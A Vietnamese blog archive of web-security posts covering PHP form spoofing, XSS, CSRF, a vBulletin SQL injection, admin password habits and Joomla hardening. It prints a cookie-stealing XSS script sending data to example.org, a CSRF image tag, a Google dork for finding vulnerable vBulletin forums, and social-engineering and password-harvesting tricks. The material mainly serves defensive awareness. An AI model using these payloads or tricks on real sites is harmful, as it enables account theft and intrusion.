Thứ Hai, 12 tháng 5, 2014

Điểm chung của các website bị hack trong đợt càn quét của Hacker TQ


Điểm chung của các website bị sập trong đợt càn quét của Hacker Trung Quốc

Qua mỗi đợt có sự biến động về quan hệ chính trị giữa hai nước thì đôi bên lại có hàng trăm website bị sập. Tất nhiên số thiệt hại bên VN bao giờ cũng nhiều hơn. Mặc dù đã có nhiều cảnh báo song các "trẻ trâu" VN vẫn thích dùng chuột chọc vào tổ kiến lữa. Rốt cuộc "trẻ trâu" chăng sao nhưng người khác phải bị liên lụy.
Tốt nhất chiến tranh mạng là điều cần chuẩn bị nhưng tuyệt đối không nên có bây giờ. Nhất là khi về mặt này chúng ta quá tệ.

CN:

  • - Hacker được nhà nước hậu thuẩn, có lực lượng rất đông đảo và đào tạo chính quy bài bản.
  • - Hệ thống hạ tầng viễn thông rất tốt, đường truyền mạng rất ổn định.
  • - Làm chủ công nghệ, có siêu máy tính

VN:

  • - Hacker VN đơn độc, lẻ tẻ, tự phát, dễ dính vào vòng lao lý.
  • - Hệ thống hạ tầng viễn thông rất kém, đoạn cáp quốc tế về VN thi thoảng lại bị đứt.
  • - Dù khẩu hiệu "Công nghiệp hóa hiện đại hóa" treo khắp nơi nhưng chưa làm được gì ra hồn. Dcom 3G, điện thoại, Desktop, laptop, USB, HDD, thiết bị mạng,... hầu hết đều MADE IN CHINA. (Theo như các tin nước ngoài thì nhiều thiết bị công nghệ sản xuất từ TQ có gắn chíp "gián điệp" và "chờ thời". Một khi có biến thì VN lãnh đủ thiệt hại chứ chưa nói đến lực lượng người thật ra tay. Thậm trí đến đồ gia dụng như chiếc bàn là cũng tham gia vụ này. Chính phủ nhiều nước đã cấm sử dụng hàng MADE IN CHINA trong các cơ quan nhà nước, nhưng với ta thì ngược lại)


Thời gian qua có lẻ đôi bên chỉ một vài "trẻ trâu" đấu đáp nên đa số website VN bị hack khá dễ dàng và thường có đặc điểm sau:

Lỗi tại chủ sở hữu:

- Các website GOV.VN, EDU.VN, COM.VN,... các website được thiết kế theo kiểu "rữa tiền", cha chung không ai khóc.
- Chủ website không quan tâm. Password dễ đoán.

Lỗi tại nhà thiết kế:

- Đơn vị thiết kế cũng "làm cho xong", mang con bỏ chợ, làm 1 lần rồi thôi, không bảo hành, code nhiều năm vẫn thế, không thay đổi cũng không được cập nhật.
- Web đơn thuần nhưng không dùng mã nguồn mở mà code tay cũng khá sơ sài. Thậm chí có cái chỉ có thay đổi mật khẩu Admin, ko có cấu hình web hoặc chức năng chặn IP gì hết Trong hình là website được làm bằng ASP. Giá 7tr và duy trì 2tr/ năm.

Lỗi tại nhà cung cấp dịch vụ hosting:
- Hosting trong nước, không phải cạnh tranh, kiểu như hosting "bao cấp" dù giá có cao nhưng bao năm vẫn thế, chẳng cần đổi mới và hoàn thiện. Dịch vụ hosting tồi, kéo theo hàng loạt web trong nó bị vạ, chán đến nổi mấy đứa trẻ TQ chẳng buồn up file các web này nữa!


Tóm lại các website này bị sập là điều tất yếu chứ chẳng nói gì đến một lực lượng quân đội máy tính ra tay!
Thao Trinh
Các web bị hack, các web Việt Nam bị Trung Quốc tấn công. Hàng trăm Website của Việt Nam bị hacker trung quốc tấn công. Cảnh báo website
Thứ Hai, 22 tháng 4, 2013

Bảo mật website lập trình bằng PHP

Bảo mật website là phải chú ý đến từng phần tử của trang web mà kẻ tấn công có thể lợi dụng thông qua giao diện của ứng dụng. Điểm yếu hay bị lợi dụng nhất đó là bao gồm form và các URL, nên việc bảo mật web có nghĩa là kiểm tra tính hơpk lệ của form và link.

1. Form lừa đảo

Phổ biến kẻ tấn công sử dụng là sử dụng form giả để truyền dữ liệu, kẻ tấn công dễ dàng thay đổi những hạn chế giới hạn phía client, khi form được submit tất cả dữ liệu sẽ truyền đến ứng dụng của bạn.

Ví dụ:

<form method="POST" action="process.php">
<p>Street:
<input type="text" name="street" maxlength="100" /></p>
<p>City:
<input type="text" name="city" maxlength="50" /></p>
<p>State:
<select name="state">
<option value="">Pick a state...</option>
<option value="AL">Alabama</option>
<option value="AK">Alaska</option>
<option value="AR">Arizona</option>
<!-- options continue for all 50 states -->
</select></p>
<p>Zip: <input type="text" name="zip" maxlength="5" /></p>
<p>
<input type="submit" /></p>
</form>

Form trên giới hạn độ dài tối đa cho phép nhập và có thể dùng javascript để giới hạn khi người dùng nhập vào và khi form được submit thì tất cả dữ liệu form sẽ chuyển đến trang process.php để sử lý.

người dùng có thể thể định nghĩa form ở nơi khác và URL của action chỉ đến file http://domian.com/process.php chúng ta xem

ví dụ:

<form method="POST" action="http://example.org/process.php">
<p>Street: <input type="text" name="street" /></p> <p>City: <input type="text" name="city" /></p>
<p>State: <input type="text" name="state" /></p> <p>Zip: <input type="text" name="zip" /></p>
<p><input type="submit" /></p>
</form>

Khi ấy, nếu form được submit thì dữ liệu vẫn được đưa đên file process.php như ví dụ trên mà không gặp bất kỳ giới hạn nào trong form.
Chúng ta dễ dàng fix lỗi này bằng cách kiểm tra các yêu cầu sử lý từ đâu đến bằng giá trị $_SERVER[‘HTTP_REFERER’] xác nhận yêu cầu sử lý đúng trên site mình mới thực thi.
mặc dù có thể ngăn cản mọi dữ liệu xuất phát từ form của nơi khác nhưng nó không cần thiết phải từ chối tất cả dữ liệu từ nơi khác. Kiểm tra độ tin cậy các thông tin từ bên ngoài là cần thiết đảm bảo dữ liệu submit là phù hợp yêu cầu trong form and thậm chí dữ liệu từ form giả mạo không thể qua được bộ lọc.

2. Tấn công Cross-Site

Tấn công Cross-Site (XSS) là cách tấn công phổ biến và là cách tấn công dễ hiểu nhất. Tính đơn giản của kiểu tấn công và số lượng các ứng dụng dễ bị tổn thương bởi kiểu tấn công này nhiều đã lôi cuốn những kẻ có dã tâm. XSS khai thác sự tin tưởng người đùng và luôn cố gắng lấy trộm thông tin người dùng như : cookies and các thông tin cá nhân khác. Tất cả dữ liệu nhập vào ứng dụng.
Ta xét một ví dụ form sau. Form có thể tồn tại trên một số các web site cộng đồng và có thể cho phép user khác nhận xét(comment). Sau khi các lời nhận xét được gửi thì tất cả các lời nhận xét được hiển thị vì vậy mọi thứ của các lời nhận xét đều được hiển thị:
Ví dụ:

<form method="POST" action="process.php">
<p>Add a comment:</p>
<p><textarea name="comment"></textarea></p>
<p><input type="submit" /></p>
</form>

Hình dung một số người có ác tâm gửi lời nhận xét với nội dung sau:

<script>
document.location = ’’http://example.org/getcookies.php?cookies=’’ + document.cookie;
</script> 

Bây giờ mọi người viếng thăm các thông tin đăng nhập được và cookies chuyển đến URL nó được truyền qua chuỗi struy vấn trên site.kẻ tấn công dễ dàng dùng $_GET[’cookies’] để lưu chúng để sau sử dụng.

3. Tấn công bằng cách yêu cầu cross-site giả

A cross-site request forgery (CSRF) là kiểu tấn công làm cho không biết HTTP yêu cầu từ đâu, thường nó yêu cầu quyền truy cập và sử dụng session của nạn nhân để truy cập. Yêu cầu HTTP sẩy ra khi nạn nhân dùng tài khoản của mình để mua hàng thay đổi hoặc xoá thông tin ngưòi dùng.

Khi một XSS tấn công khai thác sự tin tưởng của ngưòi dùng vào ứng dụng, một yêu cầu được gải mạo ứng dụng được người sử dụng tin tường, một yêu cầu đuợc cho là hợp pháp được gửi đi thât khó có thể phát hiện ra có phải thực sự người sự dụng muốn thưc hiện yêu cầu đó. Trong khi đó yêu cầu được đưa ra ngoài ứng dụng bạn, thường sử dụng là các cuộc tấn công CSRF. Nó sẽ không ngăn ngừa ứng dụng nhận yêu cầu gải mạo. Vậy ứng dụng của bạn phải có khả năng phát hiện yêu cầu hợp lệ trong đó có chứa mã có hại hay không

Ví dụ:

Chúng ta có 1 web site cho mọi người có thể đăng kí một account và họ có quyền xem các mục sách để mua . có thể giả thuyết rằng một kẻ có dã tâm đăng kí một acount và quá trình sử lý mua sách là trong suốt với site. Cách thức này được phát hiện ra 1 cách tình cờ:

+ đăng nhập và mua hàng

+ Chọn 1 cuốn sách để mua rồi bấm vào nút “buy” nó sẽ chuyển đên trang checkout.php

+ Cô ấy nhìn thấy action check out là POST, nhưng các tham số checkout sẽ được bỏ vì chuỗi truy vấn(GET) làm việc

+ Khi đặt là checkout.php?isbn=0312863551&qty=1 thì thấy báo giao dịch thành công

Với điều mộ kẻ có dã tâm dễ dàng mua hàng trên 1 site mà không mất đồng nào. rễ dàng 1 người sử dụng có thể sử dụng chèn một thẻ ảnh (img) vào vùng không được phép. nội dung của thẻ img như sau:

<img src=”http://example.org/checkout.php?isbn=0312863551&qty=1″ />

Thậm chí image gắn ở site khác vẫn có thể tiếp tục tạo ra cái yêu cầu mua hàng trên site. Hầu hết mọi trường hợp yêu cầu thất bại bởi vì user phải đăng nhập mới mua được hàng. Sự tấn công nàylà sự tin tưởng của web site với người dùng. Giải pháp cho kiểu tấn công này thay thế POST bằng GET tấn công được là do checkout.php sử dụng $_REQUEST, mảng này sẽ truy cập và lấy isdn và qty. Chúng ta nên sử dụng POST để giảm thiểu rủi do về loại tấn công này. Nhưng nó không thể bảo vệ tất cả các yêu cầu đã được nguỵ tạo.

Một sự tấn công phức tạp có thể tạo yêu cầu POST rễ ràng bằng GET. Trừ khi có một phương pháp ngăn chặn phương pháp mã thông báo(token) này bắt buộc sử dụng form của bạn. Mã thông báo tạo ra bằng cách sinh ngẫu nhiên một mã thông báo và lưu nó trong session khi user truy cập trang chứa form sẽ đặt nó vào trong form dưói 1 trường ẩn. Sẽ sử lý kiểm tra mã thông báo POST từ form với giá trị lưu trong session. Nếu đúng thì nó là yêu cầu hợp lệ nếu sai thì không sử lý và thay vào đó là thông báo lỗi .

Ví dụ:

?php
session_start();
$token = md5(uniqid(rand(), TRUE)); $_SESSION[’token’] = $token;
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>

sử lý khi form được submit:

if (isset($_SESSION[’token’])
&& isset($_POST[’token’])
&& $_POST[’token’] == $_SESSION[’token’])
{
// Token is valid, continue processing form data
}

Theo lập trình việt!
Thứ Sáu, 23 tháng 11, 2012

Hack dien dan vbulletin 4.0.x thong qua loi sqli


Đây là cách tấn công một số diễn đàn mã nguồn vbulletin 4.0.x => 4.1.2 mà các hacker đặc biệt yêu thích. Một cách đơn giản để chiếm quyền kiểm soát diễn đàn của bạn.

Khi các bạn làm website, các bạn phải biết cấu hình website để hạn chế hacker tấn công website mình nhé!

Đây là đoạn video tự sướng của tớ, một hành động điên rồ phải không? nhưng mình thấy đáng để xem và học hỏi đó!

Đoạn video này sẽ giúp bạn hiểu thêm cách khai thác lỗ hổng bảo mật ứng dụng web

Hiện tại, ngoài lổi này, vBbulletin vẫn còn rất nhiều lổi khác nữa!

Phiên bản lỗi: vBulletin 4.0.x => 4.1.2 ( trong file search.php) SQL Injection Vulnerability. Các bạn có thể lên google gõ với từ khóa trên để tìm diễn đàn bị lổi

inurl:"search.php?search_type=1"

Các dòng bị lổi, có bạn có thể tìm tại đây:

/vb/search/searchtools.php - line 715;
/packages/vbforum/search/type/socialgroup.php - line 201:203;

Hy vọng, với video này. Các bạn sẽ biết quản trị website mình tốt hơn

Bảo mật website – ý thức admin

Trong những năm gần đây, website được phát triển với tốc độ rất nhanh tại Việt Nam nhưng thực tế các admin vẫn chưa quan tâm đúng mức về vấn đề bảo mật mà chỉ chú trọng vào hình thức và nội dung của website, do vậy có rất nhiều trường hợp website bị tấn công hay mất dữ liệu vì những lỗi bảo mật rất phổ biến, chúng ta cùng xem các lỗi này và có giải pháp để website chúng ta an toàn đến trên 80%.

1. Đặt password khá đơn giản

Cách đặt password của các quản trị viên khá đơn giản, hacker có thể lợi dụng để đột nhập vào lấy cắp thông tin dữ liệu:

Các password có thể là: admin, 123456, là domain của site, username, phone, pass db, ngày tháng năm sinh, v.v…

Ở đây gọi là kỹ thuật đoán password, một kỹ thuật tưởng là khó thành công nhưng đôi lúc cũng khá tốt. Nếu các bạn có kinh nghiệm hacking khi xem username + password database thì chắc có lẽ sẽ bất ngờ vì password. Nhưng việc đoán password cũng gặp khá nhiều khó khăn. Một cách giải quyết là thiết kế 01 trang web bói toán, thông qua các câu hỏi đơn giản như: nick của bạn là gì, tên người yêu của bạn, màu mà bạn yêu thích, ngày sinh của bạn… rồi send cho người quản trị, việc cuối cùng là đoán password.

2. Không xóa các file nhạy cảm có chứa thông tin lien quan đến password

Các admin thường sơ xuất không xóa đi một số file nhạy cảm như: mysqldumper, bigdump,zip, databackup.php, unzip.php, caidat.php, zipcode.php hay có thể là tên của của chính website (như: hoangnguyen.zip chẳng hạn) hacker có thể đoán và thử xem các file đó có tồn tại hay không?.
Dựa vào các file đó, hacker có thể xâm nhập vào trang quản trị, Cpanel hoặc ftp của bạn là điều không gì dễ hơn thế nữa.

3. Sử dụng cùng 1 username + password cho tất cả dịch vụ

Việc này do admin khiếu kinh nghiệm đặt password diễn đàn trùng với password mail, hay password login vào cpanel dẫn đến việc dễ bị hack.

Đây là 1 kỹ thuật khá hay, trước khi hack 1 site nào đó, hacker có thể tìm kiếm những thông tin về admin của victim, tìm xem admin này thường hay ra vào forum, blog nào, cố gắng hack 1 trong các site mà admin đó thường lui tới để có được password của admin, việc cuối cùng là crack password, thử xem admin có thiếu kinh nghiệm đến mức đặt password chung không.

Nói ra thì dài dòng, chứ các hacker có mặt trên các khắp diễn đàn, nên bạn an tâm việc hacker có vui lòng hack website của bạn hay không mà thôi (đừng để mình thành nạn nhân vì những việc này).

4. Phishing:

Hacker thường làm là send cho victim (nạn nhân ) 1 con keylogger (thường là gởi qua mail hay send link qua Y!M), rồi ngồi chờ thôi. Tất nhiên có nhiều biến tướng từ Phishing: fake login…, nhớ là phòng hơn chống.

5. Social engineer:

Nhắc đến social thì mọi người thường nhắc đến Kevin Mitnick. Thực ra cái này cũng không phải là kỹ thật cao siêu gì, vấn đề là tạo được lòng tin từ victim để từ đó khai thác.

Có thể ví dụ như sau: thường thông qua lỗi sql injection được username + password, nhưng công việc khó khăn nhất là tìm link login, một cách social là contact nhân viên support cung cấp site đó, bảo site đó bị hack, login vào trang quản lý nhưng không được, “username + password của tui nè, pls help me!!!!!!”

6. Sử dụng mã nguồn mở, source share trên mạng.

Chúng ta vì sợ tốn tiền, lượm đại 1 source share nào đó đẹp đẹp trên mạng về sử dụng, nhưng họ đâu biết rằng chính source đó là mồi nhử của các hacker, thế là them 01 con mồi bị sập bẫy.
Một số kỹ thuật tấn công phổ biến của hacker:

Các hacker thường khai thác lỗi từ code của người lập trình: Khi viết chương trình, các programmer, họ thường quan tâm tới kết quả công việc của họ. Họ làm sao cho website thật đẹp, ấn tượng,… nhưng họ lại ít hoặc không quan tâm tới code của mình có lỗi hay không? Và đây là yếu điểm chết người, bởi các hacker khai thác từ đây, thông thường đó là những lỗi như:

1. Upfile không qua một cơ chế kiểm tra file hợp lệ hay không

Từ đây, hacker có thể up bất kì file gì mà họ muốn, để từ đó điều khiển website theo ý họ.

2. SQLi (Sql injection, từ cú pháp câu lệnh SQL)

Đây là một lỗi đã “rất cũ” nhưng hiện nay vẫn còn khá phổ biến. Từ lỗi này, hacker có thể dễ dàng khai thác được các thông tin bảo mật: username, password, tài khoản creadit card…

3. Bypass login:

Bằng một kỹ thuật đơn giản, hacker có thể dễ dàng vào được quyền quản trị mà không cần phải biết username, password là gì?

4. XSS (Cross-site scripting):

Là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI,…) các thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho người sử dụng khác. Khi một trang web bị nhúng mã độc, những đoạn mã này sẽ được thực thi ở máy của người dùng gây tác hại cục bộ, hoặc có thể lấy các thông tin như cookie lưu ở trang web đó để chuyển về cho hacker. Các đoạn mã này được thực thi với quyền của trang web nạn nhân, nên loại bỏ được một số kiểm soát truy cập (như chứng thực nguồn gốc).

5. Kỹ thuật Local Attack:

Đây là kỹ thuật khá phổ biến hiện nay mà hacker sử dụng. Từ 1 tài khoản hosting trong cùng server, hacker lần lượt khai thác những host (hàng xóm) còn lại một cách dễ dàng. Chúng ta có thể ví kỹ thuật này như là 1 căn hộ chung cư (server), có rất nhiều nhà trong đó (hosting), trong số các con người ở đây, có 1 người chuyên ăn trộm (ví như hacker). Đợi khi vắng vẻ, người ăn trộm này sẽ lần lượt ghé thăm các phòng còn lại của chung cư, nếu phòng không có khóa thì họ vào dễ dàng, nếu phòng có khóa thì họ đục tường, nếu phòng có nuôi chó thì họ leo tường,…

Thực ra Local Attack có thể làm được rất nhiều thứ nguy hiểm hơn và khả năng chống cự là không thể nếu như bạn ko Zendcode và không có một Server tốt (có thể chống được Remview, CGI Telnet ==> đây là hai công cụ Local rất tốt, chưa kể đến SSH Local nếu có Shell).

Cuối cùng, cho dù cả website có zendcode lại đi chăng nữa, vẫn có thể khai thác được thông tin vì “Núi cao sẽ còn núi cao hơn”.

Dù sao đi nữa, các admin nên cẩn thận hơn, các bạn đừng để những lỗi ngớ ngẩn như trên làm chết website của mình nhé.

Bài viết Nguyễn Đức Anh Kha, đăng trên tạp chí Bảo mật, số ra đầu tiên

Bảo mật webite: cần tuân theo quy tắc như thế nào?

Trong tuần qua, hàng loạt website và các hệ thống máy chủ bị tấn công, thâm nhập và đánh cắp dữ liệu đã dấy lo sự lo ngại từ phía người dùng cuối. Giải pháp ứng phó thế nào?

Hàng triệu website gặp nguy vì "cửa hậu" trong phpMyAdmin


Khi website có lỗ hổng, tội phạm mạng dễ dàng xâm nhập, tấn công và khai thác dữ liệu khiến website bị nhiễm độc gây nguy hiểm không chỉ cho chủ sở hữu trang web mà cho cả những khách truy cập. Sau khi website đã được khử độc, nếu quản trị viên vẫn chủ quan không quan tâm đến các lỗ hỗng này thường xuyên thì website vẫn sẽ dễ dàng bị nhiễm độc trở lại bất cứ lúc nào.

Để ngăn chặn điều này xảy ra, người dùng cần có những phương pháp thích hợp để bảo vệ máy chủ cũng như máy tính của mình khi kết nối với tài khoản máy chủ.

Các chuyên gia bảo mật Kaspersky Lab đã đưa ra một số quy tắc bảo mật cơ bản dành cho website mà người dùng có thể tham khảo. Những thông tin bên dưới được trích từ bài viết “This site may harm your computer“ thực hiện bởi Marta Janus, Chuyên gia nghiên cứu an ninh mạng, Kaspersky Lab.

* Sử dụng mật khẩu mạnh: thoạt nghe, quy tắc này khá bình thường nhưng sử dụng mật khẩu mạnh là nền tảng cơ bản giúp tăng cường bảo mật cho hệ thống máy chủ. Mật khẩu không chỉ bắt buộc thay đổi sau khi xảy ra sự cố mà cần phải thay đổi thường xuyên, tốt nhất là định kỳ mỗi tháng một lần.


Mật khẩu là cửa ngõ đầu tiên dẫn đến nguồn dữ liệu nhạy cảm - Ảnh: Internet

Một mật khẩu đủ mạnh cần đáp ứng được các tiêu chí cơ bản. Mật khẩu an toàn phải được tích hợp giữa chữ, số và các ký tự đặc biệt nhưng phải đảm bảo dễ nhớ để không phải ghi chú lại mật khẩu này vào sổ hay máy tính, không sử dụng cùng một mật khẩu cho nhiều tài khoản khác nhau như email, tài khoản ngân hàng,…

Các malware tấn công trên website là một cơn ác mộng thực sự cho các nhà quản trị web và người sử dụng Internet trong khi tội phạm mạng không ngừng nâng cao kỹ thuật của mình và tạo thêm các cuộc khai thác mới. Việc lây lan các phần mềm độc hại diễn ra rất nhanh thông qua Internet gây ảnh hưởng đến máy chủ và các máy trạm.

Điều đó nói lên sự thật rằng không có cách nào loại bỏ các mối đe dọa này hoàn toàn. Tuy nhiên, tất cả các chủ sở hữu trang web và những người sử dụng Internet có thể làm cho Internet an toàn hơn bằng cách thực hiện theo các quy tắc bảo mật cơ bản và giữ cho website, máy tính người dùng không bị nhiễm độc trong bất cứ thời điểm nào.


- Liên tục cập nhật: để nâng cao mức độ bảo mật, người dùng cần phải cập nhật website của mình thường xuyên, đặc biệt theo dõi thông tin phiên bản mới nếu đang dùng các phần mềm web nguồn mở (CMS, portal, forum...).

Tất cả các phần mềm mà người sử dụng quản lý bằng tài khoản máy chủ phải là phiên bản mới nhất và tất cả các bản vá bảo mật cần phải được áp dụng ngay sau khi nó được phát hành. Điều này sẽ giảm nguy cơ một cuộc tấn công nhằm vào việc khai thác dữ liệu. Danh sách các lỗ hổng thường bị tấn công có thể xem tại http://cve.mitre.org/.

- Tạo các bản sao lưu: một bản sao lưu tất cả các nội dung của máy chủ không bị "nhiễm độc" chắc chắn sẽ giúp người dùng tiết kiệm rất nhiều thời gian và công sức khi khôi phục. Một bản sao gần nhất sẽ rất hữu ích trong việc giải quyết các vấn đề phát sinh cũng như trong trường hợp máy chủ hoặc trang web bị nhiễm độc.

- Quét tập tin thường xuyên ngay cả khi không có dấu hiệu bị nhiễm độc nào được tìm thấy. Đây là một thao tác rất hữu ích để bảo vệ website, quét tất cả các tập tin trên máy chủ trong một thời gian nhất định ít nhất là một lần.

- Quan tâm đến bảo mật máy tính: rất nhiều malware độc hại tấn công vào các trang web và được phát tán bằng cách lây nhiễm vào các máy tính. Vì vậy, vấn đề an ninh của máy chủ chứa trang web là một trong những khía cạnh quan trọng nhất trong việc bảo mật website. Giữ cho máy chủ luôn trong tình trạng an toàn và không bị nhiễm độc sẽ nâng cao mức độ an toàn cũng như tránh được sự tấn công của các malware.

- Tăng cường mức độ bảo mật của máy chủ: nếu sở hữu hệ thống máy chủ, người dùng cần chú ý đến cấu hình của máy để bảo đảm mức độ an toàn nhất có thể. Hoạt động để tăng cường bảo mật máy chủ gồm những phần sau:
  • Loại bỏ tất cả các phần mềm không sử dụng
  • Vô hiệu hóa tất cả các dịch vụ và module không cần thiết
  • Thiết lập chính sách phù hợp cho người dùng và các nhóm
  • Thiết lập quyền truy cập/hạn chế truy cập vào các tập tin và thư mục nhất định
  • Vô hiệu hóa việc duyệt thư mục trực tiếp
  • Thu thập các tập tin ghi nhận hoạt động, thường xuyên kiểm tra các hoạt động đáng ngờ
  • Sử dụng mã hóa và các giao thức an toàn

Yếu tố con người vẫn đóng vai trò quan trọng nhất

Theo ông Jimmy Low, chuyên gia bảo mật khu vực Đông Nam Á thuộc Kaspersky Lab trả lời phỏng vấn của Nhịp Sống Số cho biết: "Mỗi hệ thống mạng đều có những vấn đề và điểm yếu riêng. Tuy nhiên, yếu điểm quan trọng nhất là yếu tố con người. Người quản trị mạng phải không ngừng nâng cao, học hỏi thêm kiến thức mới, tăng cường nhận thức về các mối đe dọa và bảo mật nhằm kịp thời nhận ra các lỗ hổng về kỹ thuật, tránh mắc phải các sai lầm trong công tác quản trị mạng".

Ông Jimmy cho rằng bất kỳ kỹ sư nào cũng có thể phạm phải sai lầm trong giai đoạn khởi nghiệp do thiếu kinh nghiệm và lời khuyên cho các kỹ sư trẻ rằng "đừng ngại học hỏi từ người đi trước, nếu các bạn không học hỏi từ người có kinh nghiệm và từ sai lầm, các bạn khó có thể phát triển bản thân trong nghề nghiệp".

Nguồn từ itnet.vn
Thứ Ba, 23 tháng 10, 2012

Chống tấn công SQL Injection trong Joomla


Hiện Joomla! ngày càng phát triển mạnh mẽ và ngày càng được ứng dụng rộng rãi ở Việt Nam với số lượng các thành phần mở rộng (extensions) từ các hãng thứ ba cũng tăng không ngừng cả về số lượng và chất lượng. Rất nhiều thành phần mở rộng (gồm component, module, plugin, template...) thực sự tuyệt vời và đáng được cài đặt trên mọi Website.

Tuy nhiên, có một thực tế song hành với mặt ưu điểm trên là số lượng các Website bị tấn công thông qua các lỗi lập trình bất cẩn trong các thành phần mở rộng được cài đặt thêm cũng ngày càng tăng cao. Thậm chí số lượng lỗi bị khai thác còn cao hơn cả Microsoft (theo báo cáo 6 tháng đầu năm 2008 của IBM).

Do vậy, ngay từ lúc này, bạn hãy kiểm tra lại toàn bộ hệ thống của mình để đảm bảo: Chỉ cài đặt các thành phần mở rộng thực sự cần thiết, thực sự uy tín và hãy nhờ một người có kinh nghiệm để kiểm tra các đoạn mã, mà một trong số chúng thường bị hacker khai thác - các lỗi phổ biến về truy vấn SQL (thường gọi là SQL Injection).

1.Đối với người sử dụng cuối (end-user):

Không dùng tiền tố mặc định 'jos_'

Khi cài đặt website, Joomla sử dụng tiền tố mặc định cho các bảng của cơ sở dữ liệu: 'jos_'. Tuy nhiên để tránh sự nhòm ngó của các haker bạn nên đổi tiền tố này.

 

Không dùng tài khoản mặc định 'admin'

Tạo một tài khoản quản trị (Super Administrator) mới thay vì dùng tài khoản mặc định có tên 'admin'
Đổi tên và vô hiệu hóa tài khoản mặc định 'admin' mà Joomla đã tạo ra khi cài đặt bằng cách: Mở bảng _users, tìm bản ghi có id=62, đổi username khác 'admin' và thay block bằng '1')

Không dùng mã bí mật mặc định '$secret'


Joomla cung cấp một mã bí mật '$secret' đặt trong file "configuration.php". Mã này được kết hợp với mật khẩu và hàm MD5 để tạo ra một mật khẩu được mã hóa rất mạnh (không thể dò ngược) - tất nhiên với điều kiện mã $secret là ngẫu nhiên và chỉ mình bạn biết.

Mở file "configuration.php" tìm biến '$secret' và thay bằng một chuỗi ký tự ngẫu nhiên (không dùng chuỗi mặc định của Joomla). VD:
<?php
class JConfig {
    //...
    var $secret = '2rsf820gaygwer33ty';
    //...
}
?>

2.Đối với những người lập trình (developer) thì chú ý những vấn đề sau:


Ép kiểu dữ liệu

Luôn ép kiểu dữ liệu cho các chuỗi đưa vào câu lệnh truy vấn SQL. Thí dụ:

Nếu muốn kiểu dữ liệu là kiểu nguyên (integer) thì sử dụng câu lệnh SQL:
$sql = 'UPDATE #__mytable SET `id` = ' . (int) $int;
Nếu muốn kiểu dữ liệu là kiểu ngày/tháng (date) thì sử dụng câu lệnh SQL:
$date = &amp; JFactory::getDate($mydate);
$sql = 'UPDATE #__mytable SET `date` = ' . $db->quote( $date->toMySQL(), false);

Luôn gỡ bỏ ý nghĩa của những ký tự đặc biệt


Bạn cần gỡ bỏ ý nghĩa của những ký tự đặc biệt (những ký tự có khả năng gây nguy hiểm cho câu lệnh SQL) nằm trong các chuỗi dữ liệu được đưa vào câu lệnh SQL bằng câu lệnh:

$sql = 'UPDATE #__mytable SET `string` = ' . $db->quote( $db->getEscaped( $string ), false );

Chống tấn công DOS


Trong các mệnh đề WHERE, nếu bạn có sử dụng lệnh LIKE, hãy đảm bảo rằng bạn đã lọc các ký tự đặc biệt như "%" và "_"  thì sử dụng câu lệnh SQL:
$sql = 'UPDATE #__mytable SET .... WHERE `string` LIKE '.
          $db->quote( $db->getEscaped( $string, true ), false )

Chống tấn công XSS


Rất nhiều người có thói quen lấy dữ liệu nhập vào từ người dùng bằng câu lệnh JRequest::getVar(). Tuy nhiên đây là một thói quen không tốt. Thay vào đó bạn nên sử dụng các phương thức ép kiểu. Thí dụ:

Nếu muốn kiểu số nguyên, dùng câu lệnh:
$int = JRequest::getInt( $name, $default );
Nếu muốn kiểu số thực, dùng câu lệnh:
$float = JRequest::getFloat( $name, $default );
Nếu muốn kiểu logic (đúng/sai), dùng câu lệnh:
$bool = JRequest::getBool( $name, $default );
Nếu muốn kiểu từ (word): chỉ có các ký tự chữ cái và ký tự gạch dưới "_", dùng câu lệnh:
$word = JRequest::getWord( $name, $default );
Nếu muốn kiểu câu lệnh (command): chỉ có các ký tự chữ cái, ký tự số, ký tự "."  và "_", dùng câu lệnh:
$cmd = JRequest::getCMD( $name, $default );
Nếu muốn kiểu văn bản không phải HTML (văn bản đã được lọc bỏ các thẻ HTML), dùng câu lệnh:
$string = JRequest::getString( $name, $default );